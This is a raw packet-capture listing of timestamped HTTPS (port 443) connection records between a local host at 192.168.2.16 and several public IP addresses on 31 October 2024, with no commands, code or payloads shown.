Oct 31, 2024 21:54:54.554353952 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.554359913 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.554368973 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.554454088 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.554461956 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.555155993 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.555214882 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.555238008 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.555325031 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.555325031 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.555337906 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.557028055 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.557122946 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.557125092 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.557137012 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.557176113 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.557329893 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.557396889 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.557537079 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.557605982 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.557971954 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.558032990 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.558079004 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.558115005 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.558154106 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.558167934 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.558176041 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.558275938 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.598165989 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.623935938 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:54.623991966 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:54.624104977 CET	49739	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:54.626328945 CET	49739	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:54.626347065 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:54.675121069 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675189018 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675220013 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675246954 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675275087 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675275087 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.675321102 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675347090 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.675369978 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.675390005 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675450087 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675476074 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675529957 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.675539970 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.675646067 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.676230907 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.676318884 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.676381111 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.676531076 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.676778078 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.676938057 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.677004099 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.677014112 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.677113056 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.677129030 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.677145004 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.677170038 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.677788973 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.677886009 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.677895069 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.677921057 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.677931070 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.677951097 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.677963018 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.678054094 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.678144932 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.678153038 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.678203106 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.678903103 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.678931952 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.678997040 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.679004908 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.679018021 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.679059029 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.679958105 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.680093050 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.797750950 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.797828913 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.797852039 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.797867060 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.797921896 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.797986031 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.798063040 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.798182011 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.798233032 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.798322916 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.798398972 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.798563957 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.798593998 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.798625946 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.798635960 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.798646927 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.798733950 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.798808098 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.798815012 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.798862934 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.799051046 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.799084902 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.799114943 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.799123049 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.799144030 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.799196005 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.799309969 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.799341917 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.799371958 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.799382925 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.799391031 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.799417973 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.799434900 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.799434900 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.799458027 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.800323009 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.800342083 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:55.027967930 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.040709972 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.040735006 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.041661024 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.041757107 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.042365074 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.042409897 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.042501926 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.060055017 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.060081959 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.060187101 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.060415030 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.060424089 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.087327003 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.093103886 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.093108892 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.141118050 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.193013906 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.193062067 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.193098068 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.193116903 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.193130016 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.193173885 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.193346977 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.193418980 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.193478107 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.193481922 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.193836927 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.194017887 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.194021940 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.236150026 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.236155033 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.284212112 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.310255051 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.310314894 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.310343027 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.310373068 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.310398102 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.310409069 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.310460091 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.310564995 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.310596943 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.310606003 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.310611963 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.310693026 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.311161041 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.311213017 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.311258078 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.311260939 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.311764956 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.311791897 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.311824083 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.311829090 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.311870098 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.311885118 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.312669039 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.312695980 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.312747955 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.312751055 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.312807083 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.327366114 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:55.327426910 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:55.327487946 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:55.327724934 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:55.327740908 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:55.353038073 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.360228062 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:55.360250950 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:55.360313892 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:55.361407995 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:55.361421108 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:55.395366907 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.395399094 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427289009 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427330971 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427345991 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.427366018 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427426100 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427448988 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.427453041 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427489996 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.427623034 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427681923 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427715063 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427723885 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.427728891 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.427772045 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.428036928 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.428165913 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.428227901 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.428234100 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.428591967 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.428638935 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.428643942 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.428683043 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.428949118 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.429001093 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.429097891 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.429161072 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.429195881 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.429253101 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.429852009 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.429897070 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.429903030 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.429948092 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.430037022 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.430082083 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.430850983 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.430902004 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.430938959 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.430995941 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.431678057 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.431723118 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.470354080 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.470410109 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.470438004 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.470487118 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.474124908 CET	49678	443	192.168.2.16	20.189.173.10
Oct 31, 2024 21:54:55.544955015 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545006990 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545026064 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.545038939 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545093060 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.545093060 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.545141935 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545197964 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.545306921 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545353889 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.545494080 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545548916 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.545634985 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545695066 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.545921087 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545950890 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545963049 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.545968056 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.545994997 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.546014071 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.546154022 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.546205997 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.546619892 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.546672106 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.546760082 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.546803951 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.546941996 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.546997070 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.547358036 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.547415018 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.547419071 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.547455072 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.547550917 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.547602892 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.547759056 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.547791004 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.547801018 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.547805071 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.547835112 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.548346996 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.548397064 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.548489094 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.548547029 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.548705101 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.548732996 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.548758984 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.548762083 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.548780918 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.549258947 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.549325943 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.549329042 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.549365997 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.549396038 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.549443960 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.549585104 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.549634933 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.549685955 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.549730062 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.587666988 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.587740898 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.587753057 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.587765932 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.587810993 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.587901115 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.587948084 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.835566044 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.835624933 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.835673094 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.835684061 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.835716009 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.835736036 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.836570978 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.836581945 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.836618900 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.836644888 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.836652994 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.836682081 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.836687088 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.836714029 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.836716890 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.836738110 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.836757898 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.837235928 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.837253094 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.837307930 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.837315083 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.837368965 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.838989973 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.839232922 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.839243889 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.839535952 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.839870930 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.839921951 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.840018988 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.840876102 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.840892076 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.840950966 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.840955019 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.841016054 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.841290951 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.841306925 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.841351986 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.841355085 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.841392994 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.841900110 CET	443	49742	104.19.229.21	192.168.2.16
